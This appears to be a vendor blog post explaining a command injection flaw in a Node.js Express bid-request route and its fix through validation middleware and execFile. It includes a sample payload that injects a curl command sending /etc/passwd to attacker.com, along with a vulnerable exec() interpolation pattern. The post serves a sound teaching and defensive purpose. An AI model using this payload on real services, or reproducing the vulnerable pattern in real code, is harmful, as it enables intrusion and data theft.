How Command Injection Happens in Node.js Route Handlers and How to Fix It
The Route That Opened the Door
The webhook/src/routes/bid-requests/create.route.js file is responsible for handling POST requests that create bid requests in a rental platform's webhook service. On the surface, it looks like a simple Express route — just a few lines wiring an HTTP endpoint to a handler function. But that simplicity concealed a serious security flaw: the route passed the entire raw request body directly to createBidRequestHandler with zero validation.
This meant that any value a caller supplied for fields like apartmentId or proposedPrice — no matter how malformed or malicious — would be forwarded into business logic untouched. And somewhere downstream, those values were being used to construct a gRPCurl shell command via string interpolation. The result: a textbook command injection vulnerability rated high severity.
The Vulnerability Explained
What the Code Looked Like Before the Fix
The original route file was deceptively minimal:
const express = require('express');
const router = express.Router();
const { createBidRequestHandler } = require('./create.handler');
router.post('/', createBidRequestHandler);
That single line — router.post('/', createBidRequestHandler) — is the root of the problem. There is no middleware, no validation, no schema check. Whatever arrives in req.body flows directly into createBidRequestHandler.
How the Injection Chain Works
The vulnerability is a 2-step chain:
-
Step 1 — Tainted input enters the route: A caller sends a POST request to
/api/bid-requestswith a craftedapartmentIdorproposedPricefield. Because there is no validation middleware, the raw value is passed to the handler. -
Step 2 — Tainted value reaches a shell command: Inside the handler (or a service it calls), the
apartmentIdor other fields are interpolated into a gRPCurl command string, something like:
// Conceptual example of the vulnerable downstream pattern
const cmd = `grpcurl -H "Authorization: ${headers.auth}" \
-d '{"apartment_id": "${body.apartmentId}"}' \
${endpoint} bid.BidService/CreateBid`;
exec(cmd, callback);
If apartmentId is set to a value like:
00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #
The resulting shell command becomes:
grpcurl -H "Authorization: Bearer token" \
-d '{"apartment_id": "00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #"}' \
localhost:50051 bid.BidService/CreateBid
The shell metacharacters (", ;, $(), #) break out of the intended data context and inject an entirely new command. The attacker can exfiltrate files, create backdoors, or pivot to internal services — all triggered by a single API call.
Why This Specific Route Is Dangerous
The /api/bid-requests endpoint is publicly accessible — it's a web-facing webhook service. Any unauthenticated or authenticated attacker (depending on the auth layer) can send arbitrary POST bodies. The proposedPrice field is equally dangerous: sending true (a boolean) instead of a number can cause type confusion errors that crash the handler or bypass downstream numeric guards, potentially enabling other injection paths.
The Fix
What Changed in create.route.js
The fix adds inline schema validation middleware directly in the route definition, before createBidRequestHandler is ever invoked. Here's the core of what was added:
const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;
router.post('/', (req, res, next) => {
const { apartmentId, proposedPrice, desiredMoveIn } = req.body;
if (!apartmentId || !UUID_RE.test(apartmentId)) {
return res.status(400).json({ error: 'apartmentId must be a valid UUID' });
}
if (typeof proposedPrice !== 'number' || proposedPrice <= 0) {
return res.status(400).json({ error: 'proposedPrice must be a positive number' });
}
next();
}, createBidRequestHandler);
Before vs. After
Before — No validation, raw body forwarded:
router.post('/', createBidRequestHandler);
After — Strict validation middleware gates the handler:
const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;
router.post('/', validateBidRequest, createBidRequestHandler);
Why the UUID Regex Matters
The regex ^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$ enforces the RFC 4122 UUID format exactly. This means:
- Shell metacharacters like
;,",$,`,|,&are structurally impossible in a valid UUID - Only hex digits and hyphens in a precise pattern are accepted
- Variant bits (
[89ab]) and version bits ([1-5]) are validated, not just the shape
Any injection payload — no matter how cleverly crafted — will fail this check and receive a 400 Bad Request before reaching createBidRequestHandler.
The proposedPrice Type Check
The fix also validates that proposedPrice is a JavaScript number (not a boolean, string, or object) and that it is positive. This closes a subtle type-confusion vector: JavaScript's typeof true === 'boolean', so a boolean true will be rejected, preventing downstream logic from treating 1 (the numeric value of true after coercion) as a valid price.
The New Tests
The fix is accompanied by two new Karate integration test scenarios that confirm the validation is enforced end-to-end:
Scenario: Non-UUID apartmentId → 400
And request { "apartmentId": "not-a-uuid", "proposedPrice": 1000, ... }
Then status 400
And match response.error == 'apartmentId must be a valid UUID'
Scenario: Boolean proposedPrice → 400
And request { "apartmentId": "00000000-...", "proposedPrice": true, ... }
Then status 400
And match response.error == 'proposedPrice must be a positive number'
These tests prove that the validation middleware fires correctly and that the error messages are consistent and actionable.
Prevention & Best Practices
1. Validate at the Boundary, Not Deep in Business Logic
The fundamental mistake here was relying on the handler to deal with whatever it received. Validation belongs at the route layer — the earliest point where you control what enters your system. By the time data reaches a service that constructs shell commands, it's too late to catch injection payloads reliably.
2. Use Schema Validation Libraries for Complex Inputs
For routes with many fields, consider libraries like Joi, Zod, or express-validator to define schemas declaratively:
const { z } = require('zod');
const BidRequestSchema = z.object({
apartmentId: z.string().uuid(),
proposedPrice: z.number().positive(),
desiredMoveIn: z.string().datetime(),
});
router.post('/', (req, res, next) => {
const result = BidRequestSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ error: result.error.issues[0].message });
}
next();
}, createBidRequestHandler);
3. Never Interpolate User Data into Shell Commands
Even with input validation, constructing shell commands via string interpolation is dangerous. Prefer:
- Node.js
child_process.execFile()with an argument array (no shell expansion) - gRPC client libraries that communicate over the protocol directly, bypassing the shell entirely
- Shell-escape libraries like
shell-quoteif shell invocation is unavoidable
// Dangerous — string interpolation with shell=true equivalent
exec(`grpcurl -d '${data}' ${endpoint}`);
// Safe — argument array, no shell interpretation
execFile('grpcurl', ['-d', JSON.stringify(data), endpoint], callback);
4. Apply the Principle of Least Privilege
The process running this webhook service should not have permissions to read /etc/passwd, make outbound network requests to arbitrary hosts, or write to sensitive directories. Defense in depth means that even if injection occurs, the blast radius is limited.
5. Relevant Standards
- OWASP Top 10 A03:2021 — Injection: Command injection is a subcategory of the injection family. Validate all inputs, use safe APIs.
- CWE-78: Improper Neutralization of Special Elements used in an OS Command.
- OWASP Input Validation Cheat Sheet: Recommends allowlist validation (which the UUID regex implements) over denylist approaches.
Key Takeaways
router.post('/', createBidRequestHandler)with no middleware is a validation-free attack surface — any field inreq.bodycan carry a payload to downstream command construction.- The
apartmentIdUUID regex (/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/) structurally eliminates all shell metacharacters — it's not just a format check, it's a security boundary. - Boolean values like
trueforproposedPriceare a real attack vector — JavaScript's loose typing meanstypeofchecks are essential, not optional. - Validation middleware should live in the route file, not buried in the handler — this makes the security boundary visible and auditable at a glance.
- Integration tests for invalid inputs (the new Karate scenarios) are as important as tests for happy paths — they prove the validation actually fires in the running service.
How Orbis AppSec Detected This
- Source: HTTP POST request body fields
apartmentIdandproposedPricein/api/bid-requests - Sink: String-interpolated gRPCurl command construction in the downstream handler chain invoked from
createBidRequestHandlerinwebhook/src/routes/bid-requests/create.route.js - Missing control: No schema validation middleware between the Express route and the handler; no UUID format check; no type enforcement on numeric fields
- CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Added a UUID regex allowlist check and a
typeof/positivity check forproposedPriceas inline middleware in the route definition, rejecting invalid input with HTTP 400 before the handler is invoked
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a reminder that the route layer is a security boundary, not just a traffic director. A single line — router.post('/', createBidRequestHandler) — that skips validation can expose an entire application to command injection, even when the dangerous code is several layers deeper in the call stack. The fix is elegant precisely because it is early and structural: a UUID regex and a type check in the route definition mean that malicious input never gets the chance to travel downstream.
For developers building Node.js webhook services, gRPC gateway proxies, or any Express application that constructs shell commands: validate at the boundary, use argument arrays instead of string interpolation, and treat every unvalidated request body field as a potential injection vector.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Input Validation Cheat Sheet
- OWASP OS Command Injection Defense Cheat Sheet
- Node.js
child_process.execFile()documentation - Semgrep rules for Node.js command injection
- fix: route definitions for bid request creation and ... in...